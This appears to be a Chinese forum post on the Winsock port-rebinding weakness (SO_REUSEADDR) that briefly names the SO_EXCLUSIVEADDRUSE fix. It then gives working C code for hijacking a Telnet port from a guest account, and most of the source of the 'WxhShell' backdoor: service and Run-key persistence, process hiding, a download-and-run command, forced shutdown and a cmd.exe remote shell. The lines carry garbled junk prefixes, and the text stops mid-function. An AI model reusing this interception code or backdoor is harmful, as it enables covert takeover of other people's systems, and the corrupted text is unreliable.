在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
GJS( s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
4=y&}3om(0 as/PM" saddr.sin_family = AF_INET;
|${ImP :6(@P1vA 6 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
47{5{/B- {/5aF_0D. bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
o4yl3o x7gd6"10^ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
(w"(RM~ WQ:Y NmQ1p 这意味着什么?意味着可以进行如下的攻击:
GZx*A S]+ :YkAp9civ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
{=&({ cS uxKO" 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Z'5&N5hx s7:_!Nd@8 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
y>h9:q| pNQ7uy 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
|Go$z3bx KC:6^h'. 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
sHPeAa22 d>MDC
.
j 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
tV pXA'"!x X+u1p? 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
%`]!atH Y+g(aak+. #include
WLVkrTvX #include
8a8D0}' #include
Ie _{P&J #include
rhaq!s38: DWORD WINAPI ClientThread(LPVOID lpParam);
P&[&Dj int main()
)ryP K"V {
C}jrx^u> WORD wVersionRequested;
'T qF}a7 DWORD ret;
wm?%&V/# WSADATA wsaData;
*""W`x
BOOL val;
i+T5(P$ SOCKADDR_IN saddr;
-j rAk SOCKADDR_IN scaddr;
5efN5Kt int err;
BOA7@Zaa$p SOCKET s;
7042?\\= SOCKET sc;
a
^juZ int caddsize;
{(Mmv[y HANDLE mt;
`Z{s,!z DWORD tid;
+`mI\+y, wVersionRequested = MAKEWORD( 2, 2 );
1BEc" err = WSAStartup( wVersionRequested, &wsaData );
:w|=o9J if ( err != 0 ) {
Ets6tM` printf("error!WSAStartup failed!\n");
<u#
7K\: return -1;
@ %q>Jd }
ve.P{;;Ky saddr.sin_family = AF_INET;
c\ZnGI\| S&[9Vb //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
EASmB
; 5[W*,7s saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
z`Nss
o= saddr.sin_port = htons(23);
$II~tO if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
P&:[pPG {
=^{MyR7 printf("error!socket failed!\n");
DNqC*IvuzM return -1;
p__N6a }
rL+.3ZO):P val = TRUE;
SGy2&{\Z //SO_REUSEADDR选项就是可以实现端口重绑定的
IBu\Sh- if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
Pn@DHYP {
!SnLvW89Z printf("error!setsockopt failed!\n");
H*f2fyC1\ return -1;
/e|qyWs }
4
540Lw'A //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
${wp}<u_ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
$XkO\6kh //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
gyh8 +NvpYz if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
jr#*;go {
E&@#*~ ret=GetLastError();
<_=O0 t|6 printf("error!bind failed!\n");
c1y+kvv return -1;
x7i<dg& }
BE~-0g$W listen(s,2);
_]D
6m2R while(1)
!
jDopE0L {
D8Mq '$- caddsize = sizeof(scaddr);
5.yiNWh //接受连接请求
II~91IEk sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
: vgn0IQ if(sc!=INVALID_SOCKET)
sD{Wc%5 {
kw2d<I$] mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
vMJ(Ll7/ if(mt==NULL)
GM)q\Hx{ {
5U]@
Y? printf("Thread Creat Failed!\n");
6zNWDUf break;
U:c0s }
`/!FZh< }
7d|1T' CloseHandle(mt);
)z4eRs F| }
4UzXTsjM7 closesocket(s);
E:A!tu$B WSACleanup();
N{@~(>ee^ return 0;
B/n~ $ }
e0Gs|c+6 DWORD WINAPI ClientThread(LPVOID lpParam)
oZl%0Uy?9I {
15aPoxo> SOCKET ss = (SOCKET)lpParam;
7kT X SOCKET sc;
BTG_c_?]e unsigned char buf[4096];
Hfo<EB2Y9N SOCKADDR_IN saddr;
`f~$h?}3-@ long num;
Lz:FR* DWORD val;
%4YSuZg DWORD ret;
Y(?SE< 4R //如果是隐藏端口应用的话,可以在此处加一些判断
=d:3]M^ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
>NV1#\5_R@ saddr.sin_family = AF_INET;
oEFo7X`t saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
)<_qTd0` saddr.sin_port = htons(23);
2*Pk1vrI if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
!u
.n {
#
kNp); printf("error!socket failed!\n");
8?: 2< return -1;
+|5 O b }
.4$F~!aj9 val = 100;
[*0M$4 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
'#,C5*` {
WQD:~*C: ret = GetLastError();
6uUn return -1;
Z*h}E }
fZ;}_wR-H if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
>dD$GD{ {
n'JS- ret = GetLastError();
FS!)KxC/- return -1;
gm!sLZ!X }
8.I3%u if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
BD86t[${W {
({!H() printf("error!socket connect failed!\n");
/<(-lbq, closesocket(sc);
KHJ wCv closesocket(ss);
C=cn.CX return -1;
]?oJxW. }
e-\/1N84 while(1)
s| Q1;%Tj {
*n[B Bz //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
7^LCP* //如果是嗅探内容的话,可以再此处进行内容分析和记录
_p'@.P //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
19!;0fe= num = recv(ss,buf,4096,0);
X(3| (1;sV if(num>0)
Y>
}\'$\b send(sc,buf,num,0);
EIyFGCw|U else if(num==0)
7-~)/7L break;
8Djki] num = recv(sc,buf,4096,0);
DQ[7p( if(num>0)
d&f!\n_~ send(ss,buf,num,0);
3?L[ohKH?: else if(num==0)
-!li,&,A1 break;
dn Sb}J }
f\.y z[ closesocket(ss);
]+B.=mO_ closesocket(sc);
^W@%(,xb return 0 ;
&?Q^i">cZ }
6 v~nEw zDbO~.d tLq]#9kL ==========================================================
#Er"i (uhE'IQ{( 下边附上一个代码,,WXhSHELL
X7`-dSVE vH1,As ==========================================================
^Qn:#O9 Y%- !%| #include "stdafx.h"
v&WK9F\ H270)Cwn+ #include <stdio.h>
k_zn>aR$F #include <string.h>
4gNN " #include <windows.h>
J]{<Z?% #include <winsock2.h>
:M f8q!Q' #include <winsvc.h>
-o{ x
;:4 #include <urlmon.h>
) jvI Nb =NI?Jk*iAq #pragma comment (lib, "Ws2_32.lib")
1,Mm+_)B #pragma comment (lib, "urlmon.lib")
&/)B d% UL>2gl4s/ #define MAX_USER 100 // 最大客户端连接数
~/z%yg #define BUF_SOCK 200 // sock buffer
~w|h;*Bj #define KEY_BUFF 255 // 输入 buffer
=l${p*ABQ yG7H>LF?8 #define REBOOT 0 // 重启
^~7Mv^A #define SHUTDOWN 1 // 关机
z9g6%RbwX fiD,HGx
i #define DEF_PORT 5000 // 监听端口
B$x@I\(M S_OtY]gF #define REG_LEN 16 // 注册表键长度
BT_XqO #define SVC_LEN 80 // NT服务名长度
cL;%2TMk HX}B#T // 从dll定义API
/93z3o7D> typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
gH\>",[ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
@o^$/AE? typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
n ]D io typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
'd&d"E[ CV\y60n // wxhshell配置信息
vTK8t:JQ~ struct WSCFG {
vf+z0df int ws_port; // 监听端口
Hs:zfvD char ws_passstr[REG_LEN]; // 口令
[[6"qq int ws_autoins; // 安装标记, 1=yes 0=no
Yg,b
;H char ws_regname[REG_LEN]; // 注册表键名
j u"?b2f char ws_svcname[REG_LEN]; // 服务名
/4c`[ char ws_svcdisp[SVC_LEN]; // 服务显示名
4Y2I'~' char ws_svcdesc[SVC_LEN]; // 服务描述信息
^H1m8= char ws_passmsg[SVC_LEN]; // 密码输入提示信息
-o`K/f}d int ws_downexe; // 下载执行标记, 1=yes 0=no
,Tegrz&G char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
y"'p#j char ws_filenam[SVC_LEN]; // 下载后保存的文件名
KF1iYo>p % -AcA };
wQjYH!u,YZ #\QW <I#/ // default Wxhshell configuration
XM
w6b*O struct WSCFG wscfg={DEF_PORT,
I2*(v%.- "xuhuanlingzhe",
{f)aFGp 1,
5dN>Xjpu "Wxhshell",
dg|x(p# "Wxhshell",
SOM? 0. "WxhShell Service",
C/qKa[mg "Wrsky Windows CmdShell Service",
@fp@1n "Please Input Your Password: ",
k3@d
=k 1,
<HN+pi "
http://www.wrsky.com/wxhshell.exe",
yI#qkl- "Wxhshell.exe"
jl(D;JnF };
E QU@';~8 fDplYn# // 消息定义模块
Qj_)^3`e char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
I
*sT*;U char *msg_ws_prompt="\n\r? for help\n\r#>";
ecJjE
56P char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
!&g_hmnIF char *msg_ws_ext="\n\rExit.";
3Wbd=^hRvq char *msg_ws_end="\n\rQuit.";
V4ePYud;^ char *msg_ws_boot="\n\rReboot...";
n_RZ:<Gr char *msg_ws_poff="\n\rShutdown...";
t=@d`s:R2 char *msg_ws_down="\n\rSave to ";
kc P ZIP: W)/f5[L char *msg_ws_err="\n\rErr!";
8~R.iqLoX char *msg_ws_ok="\n\rOK!";
p#]9^oA knG:6tQ char ExeFile[MAX_PATH];
O TlqJ int nUser = 0;
oST)E5X;7 HANDLE handles[MAX_USER];
eLORG(;h4 int OsIsNt;
7 =}tJ r0lI&25w SERVICE_STATUS serviceStatus;
Tgtym"=xd SERVICE_STATUS_HANDLE hServiceStatusHandle;
DzE^FY Y<VX.S2kf // 函数声明
eaDZ^Z
Er int Install(void);
MZ-;'w&Z int Uninstall(void);
'l~7u({u int DownloadFile(char *sURL, SOCKET wsh);
Kb<c||2Nh5 int Boot(int flag);
]1d)jWG
void HideProc(void);
_BJ:GDz> int GetOsVer(void);
A>upT' int Wxhshell(SOCKET wsl);
XE<5( void TalkWithClient(void *cs);
kwT)j(pp< int CmdShell(SOCKET sock);
m[2[9bQ0 int StartFromService(void);
vnQFq int StartWxhshell(LPSTR lpCmdLine);
f~a
7E;y P[q>;Fx* VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
%#v$d VOID WINAPI NTServiceHandler( DWORD fdwControl );
JvW7h(u7g ~(XaXu // 数据结构和表定义
ov, SERVICE_TABLE_ENTRY DispatchTable[] =
V'W*'wo {
ro<w8V9.a {wscfg.ws_svcname, NTServiceMain},
.`+~mQ
Wn {NULL, NULL}
Sq_.RU };
]J!#"m-] {Hl(t$3V` // 自我安装
}(Fmr7%m int Install(void)
=CD6x=
l6 {
@Q2E1Uu% char svExeFile[MAX_PATH];
*k,3@_5 HKEY key;
!J#P'x0 strcpy(svExeFile,ExeFile);
E Zf|>^N 9D=X3{be# // 如果是win9x系统,修改注册表设为自启动
|mn} wNUN] if(!OsIsNt) {
|g^YD;9s. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
*kK +Nvt8s RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
l9eTghLi RegCloseKey(key);
UsU
Ri if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
9(S=0< RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
[9Rh" H;h RegCloseKey(key);
JJWPte/ return 0;
r`6f }
NdLe|L?c }
R"O%##Ws }
">1wPq& else {
M*3G 8Y RT0/V // 如果是NT以上系统,安装为系统服务
WR#h~N
9c SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
1<#D3CXK if (schSCManager!=0)
9M9Fif. {
F#<:ZByjJ@ SC_HANDLE schService = CreateService
2D"my]FnF (
`V V>AA5 schSCManager,
M$ieM[_T wscfg.ws_svcname,
*'aJO}$ wscfg.ws_svcdisp,
~b)X:ku SERVICE_ALL_ACCESS,
>m1b/J3# SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
"A~dt5GJ SERVICE_AUTO_START,
FO_}9 <s SERVICE_ERROR_NORMAL,
z5iCQ4C< svExeFile,
Y1sK sdV NULL,
i7h^L)M NULL,
sB*dv06b0 NULL,
Vfy@?x=
& NULL,
p7`9
d1n NULL
8w[O% );
>@bU8}rT if (schService!=0)
,WOCG2h {
{{P 3Z[ CloseServiceHandle(schService);
=#9#unvE! CloseServiceHandle(schSCManager);
qG
20 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
}#e=*8F7 strcat(svExeFile,wscfg.ws_svcname);
j1{`}\e if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Sft
vN- RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
iH-,l RegCloseKey(key);
p2b~k[ return 0;
Hn)?
xw]x }
Y&=DjKoVh }
a9NuYYr,h CloseServiceHandle(schSCManager);
<BBzv-?D }
jmq^98jB }
&glh >9:G Pz2Q]}(w return 1;
b1IAp >*2l }
]JGq{I>%+6 jsgDJ} // 自我卸载
~s'}_5;VY int Uninstall(void)
aDX&j2/ {
cyWb*Wv HKEY key;
GR*sk#{ Hc\@{17 if(!OsIsNt) {
=2GKv7q$x, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
u?SwGXi~8 RegDeleteValue(key,wscfg.ws_regname);
cOpe6H6,bz RegCloseKey(key);
tk'&-v'h if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Wkk(6gS, RegDeleteValue(key,wscfg.ws_regname);
3)=ix. wW RegCloseKey(key);
|-/@3gPO return 0;
R -ek O7z }
)^qXjF }
P6> C+T1 }
qlPIxd else {
Y+23 jlgb $RI$VyAjD SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
_ti^i\8~ if (schSCManager!=0)
3A"TpR4f` {
Kzq^f=p SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
ynMYf if (schService!=0)
Q/Z>w+zh# {
Zi}h\R a if(DeleteService(schService)!=0) {
&${| o@ CloseServiceHandle(schService);
o?M ;f\Fy CloseServiceHandle(schSCManager);
TeZu*c return 0;
Y}.f&rLe }
4j'rbbs/ CloseServiceHandle(schService);
^2rj);{V }
}I}GA:~$% CloseServiceHandle(schSCManager);
{ GCp5 }
hTv*4J&@| }
.tfal9 E x_dqko return 1;
A~>B?Wijqg }
?rt[
aK z)*{bz] // 从指定url下载文件
5GJkvZtFY int DownloadFile(char *sURL, SOCKET wsh)
='kCY}dkO {
o(54 A[' HRESULT hr;
n>Oze7hVY char seps[]= "/";
1 <T| char *token;
%|JL=E}%| char *file;
V :5aq.o! char myURL[MAX_PATH];
m$_l{|4z char myFILE[MAX_PATH];
*tpS6{4=#7 A9ld9R strcpy(myURL,sURL);
9{SzE /[ token=strtok(myURL,seps);
c1_Zi while(token!=NULL)
t6-fG/Kc {
SufM~9Ll file=token;
_[&.`jTFn token=strtok(NULL,seps);
G){+.X4g3 }
9CwtBil<#g fYZd:3VdC GetCurrentDirectory(MAX_PATH,myFILE);
!JDuVqW strcat(myFILE, "\\");
3''Kg<k,I strcat(myFILE, file);
j8?! J^TC send(wsh,myFILE,strlen(myFILE),0);
h1 "# send(wsh,"...",3,0);
oIj/V|ByK hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
>^#Liwm if(hr==S_OK)
:si&A;k return 0;
^o q|^O else
L?8OWLjRy return 1;
k{X+Y6'ku vYLspZ;S }
w0sy@OF C.uv0 // 系统电源模块
oGeV!hD int Boot(int flag)
rB(Q)N {
A
-8]4p:: HANDLE hToken;
r_bG+iw7p TOKEN_PRIVILEGES tkp;
7bGt'gvv r0&LjH&R if(OsIsNt) {
4C:dkaDq] OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Mt{cX,DS LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Ya<KMBi3 tkp.PrivilegeCount = 1;
~pI`_3 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
wLO"[, AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
D"fjk1 if(flag==REBOOT) {
k{Y\YG%b
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
$OGMw+$C^ return 0;
w*@9:+ }
I~"l9Jc!" else {
1UrkDz?X if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
91a);d return 0;
f<<$!]\ }
p ~+sk1[. }
l%
%c U" else {
7:$dl# if(flag==REBOOT) {
4RQ38%> >j if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
trLxg H_Y return 0;
}VH2G94Ll }
w+\RSqz/ else {
R[vX+d!7 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
v=uQ8_0~N return 0;
X^m@*,[s }
V0#E7u`4 }
'rfsrZ? BTA2[' return 1;
<X1[j9Qtv0 }
Tn3C0 Mj19;nc0I // win9x进程隐藏模块
#:MoZw`rlw void HideProc(void)
!HXsxNe {
>A6PH*x %2G3+T8*x HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
%md9ou` if ( hKernel != NULL )
% 1<@p%y/ {
j6 _w2 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
[a^<2V!vMn ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
b4ke'gx FreeLibrary(hKernel);
ZiH4s| }
bhZ5-wo4% |NjyO>@Pa return;
wlP%
U }
e6T?2`5P lL'K1%{+
\ // 获取操作系统版本
^ilgd int GetOsVer(void)
2v*X^2+ {
1o OSVERSIONINFO winfo;
AMK3I`=8WO winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
N=8CVI GetVersionEx(&winfo);
TQ {8 ee{ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
f,@~@f
X return 1;
4 T/ ~erc else
yN#]Q}4 return 0;
,
d4i0;2}+ }
!E *IktAI |IWm:[H3 // 客户端句柄模块
\/y&l\ k) int Wxhshell(SOCKET wsl)
%+
MYg^ {
fjQIuM SOCKET wsh;
kY~yA2*G struct sockaddr_in client;
L{c\7 DWORD myID;
~;wR}s<}( <&t[E0mU while(nUser<MAX_USER)
SQw"mO {
K~8!Gh{h] int nSize=sizeof(client);
.d4&s7n0 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
]b^bc2: if(wsh==INVALID_SOCKET) return 1;
%NL7XU[~ P\
2Bx *e handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
f5nAD if(handles[nUser]==0)
3ZYrNul" closesocket(wsh);
rV
I-Yb else
m{6*ae nUser++;
/-3)^R2H }
.Ag)/Xm(? WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Vf(n @d[)i,d:G return 0;
XToYtdt2 }
<,nd]a 7^h*rL9 // 关闭 socket
f%STkL) void CloseIt(SOCKET wsh)
IS!]!s'EI {
Lb2/ Te* closesocket(wsh);
*>j4tA{b@v nUser--;
TrHUM4 ExitThread(0);
@ v}M\$N? }
T!5g:;~y > .lppT)P // 客户端请求句柄
!AL?bW void TalkWithClient(void *cs)
_3_o/I {
4+0:(=>[% tpKQ$)ed SOCKET wsh=(SOCKET)cs;
z#olKBs char pwd[SVC_LEN];
DTx>^<Tk char cmd[KEY_BUFF];
O@KAh5EB char chr[1];
A Rjox` int i,j;
IAbH_+7O sVIw'W while (nUser < MAX_USER) {
a^9}ceu? &R}2/Mt if(wscfg.ws_passstr) {
/vFdhh if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
`ve5>aw0_Y //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
4*+)D8 //ZeroMemory(pwd,KEY_BUFF);
T(eNK
c2 i=0;
}nNCgH while(i<SVC_LEN) {
r6`KZ TU eZRu{`AF* // 设置超时
J,wpY$93 fd_set FdRead;
sX=_|<[ struct timeval TimeOut;
WAh{*$Rpl FD_ZERO(&FdRead);
-M?s<R[& FD_SET(wsh,&FdRead);
("@ih]zYf TimeOut.tv_sec=8;
pS)/yMlVj TimeOut.tv_usec=0;
j&=!F3[ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
J.npv1F if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
sMqAuhw$. +P
9h%/Yk if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
XiUae{j` pwd
=chr[0]; >c8EgSZJ
if(chr[0]==0xd || chr[0]==0xa) { >1d`G%KfG
pwd=0; ,7|2K &C5
break; r;&rc:?A
} ;(9q, )
i++; kA<58,!
} Y-c_ 2 )
C+c;UzbD
// 如果是非法用户,关闭 socket t[ ^68]
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @{UtS2L
} 9.$k^|~
XhJbBVS|
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); D7b]
;Nf\
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ja#ti y
:+\B|*T2.L
while(1) { VSa#X |z
b\9}zmG[u
ZeroMemory(cmd,KEY_BUFF); q%GlS=o"
o%=OBTh_
// 自动支持客户端 telnet标准 TW?A/GoXI
j=0; Ny)!uqul*
while(j<KEY_BUFF) { FQCz_z
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '0>w_ge4
cmd[j]=chr[0]; 2q.J1:lW
if(chr[0]==0xa || chr[0]==0xd) { &8uq5uKg
cmd[j]=0; *J] }bX
break; '\.fG\xD
} (
RCQbI
j++; Qf}b3WEAI
}
^iaG>rvA
qY$/i#
// 下载文件 G4eY}3F7,4
if(strstr(cmd,"http://")) { &'-ze,k}
send(wsh,msg_ws_down,strlen(msg_ws_down),0); t#6@~49
if(DownloadFile(cmd,wsh)) D^9r#&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %B'*eBj~fw
else -5t.1/
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DkGC+Dw
} !Wz%Hy:ZK
else { !r*Ogv[
\sZ!F&a~
switch(cmd[0]) { 0(!D1G{ul
;y"quJ'O
// 帮助 Mm+kG'Z!S
case '?': { 8 P=z"y
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N
v,Yikf
break; qkN{l88
} t1)Qa(#]
// 安装 D|p`~(
case 'i': { 2-*zevPiG=
if(Install()) V.*0k~
send(wsh,msg_ws_err,strlen(msg_ws_err),0); xr*hmp1
else Bdd>r#]
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0R%R2p'wG
break; ki[Yu+';}
} 9'|NF<
// 卸载 =N%;HfUD
case 'r': { ?tLBEoUmKT
if(Uninstall()) y9OxPq.Cy
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'X$2gD3c9
else g~JN"ap
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %4~2
break; Z;bg;@r|
} 5g3D}F>OJ
// 显示 wxhshell 所在路径 3;6Criq}
case 'p': { 2#bpWk 9
char svExeFile[MAX_PATH]; gE>_:s
strcpy(svExeFile,"\n\r"); 3"Y
|RSy
strcat(svExeFile,ExeFile); N>S_Vgk}
send(wsh,svExeFile,strlen(svExeFile),0); nDvj*lZF
break; El$yM.M"
} #sK:q&/G`
// 重启 l|c#
case 'b': { M/X&zr
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); e-dpk^-
if(Boot(REBOOT)) O%.c%)4Xo
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "[ 091 <
else { D/1f>sl
closesocket(wsh);
nmn 8Y
V1
ExitThread(0); IO x9".
} `$*cW1
break; h`0'27\C
} ySLa4DQf
// 关机 :eIu<_,}
case 'd': { `is."]%f
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !z7j.u`Y
if(Boot(SHUTDOWN)) e==}qQ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); '<.@a"DnJ
else { D.hj9
closesocket(wsh); al9L+ruR
ExitThread(0); B1GBQH$Ms
} GoK[tjb
break; n -P)X<\
} #G;0yB:76
// 获取shell J1Ay^*qRU
case 's': { ?n 9<PMo
CmdShell(wsh); yaiw|j`A
closesocket(wsh); j`GL#J[wqQ
ExitThread(0); &"(xd@V)]A
break; u!FX 0Ip
} 2aef[TY
// 退出 =N5~iMorD-
case 'x': { lj{J w.t
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ps@a@d"83
CloseIt(wsh); [/B$cH
break; df=G}M(
} 'w^Md
// 离开 Hp2ysU
case 'q': { "Cz8nG
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~@=*JzP?
closesocket(wsh); G(2(-x"+
WSACleanup(); vKv!{>,v9Z
exit(1); DM3W99PWA
break; <g SZt\
} 6PF7Wl7.
} 6 6G$5
} =BN_Kvza^6
Flrpk`4
// 提示信息 HB}!Lf#*P
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .""?k[f5Q
} $wgHaSni
} Sz.sX w;
|;XkU`G
return; gr?[KDl~
} +9MoKn=h
Cpm&w?6
// shell模块句柄 E>t5/^c)*w
int CmdShell(SOCKET sock) HAof,* h$
{ \>b
:
STARTUPINFO si; _sEkKh8x
ZeroMemory(&si,sizeof(si)); >l & N
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?U\@?@
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; AATiI+\S
PROCESS_INFORMATION ProcessInfo; Ifghyh<d
char cmdline[]="cmd";
Rt
&Oz!TQ
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8reis1]2S
return 0; V&i/3g
} z+RA
R4 8w\?L
// 自身启动模式 \yIan<q
int StartFromService(void) jF5Y-CX
{ ^EK]z8;|
typedef struct k
E^%w?C
{ Sn(e@|!G
DWORD ExitStatus; ;}iV`)S
DWORD PebBaseAddress; p~/
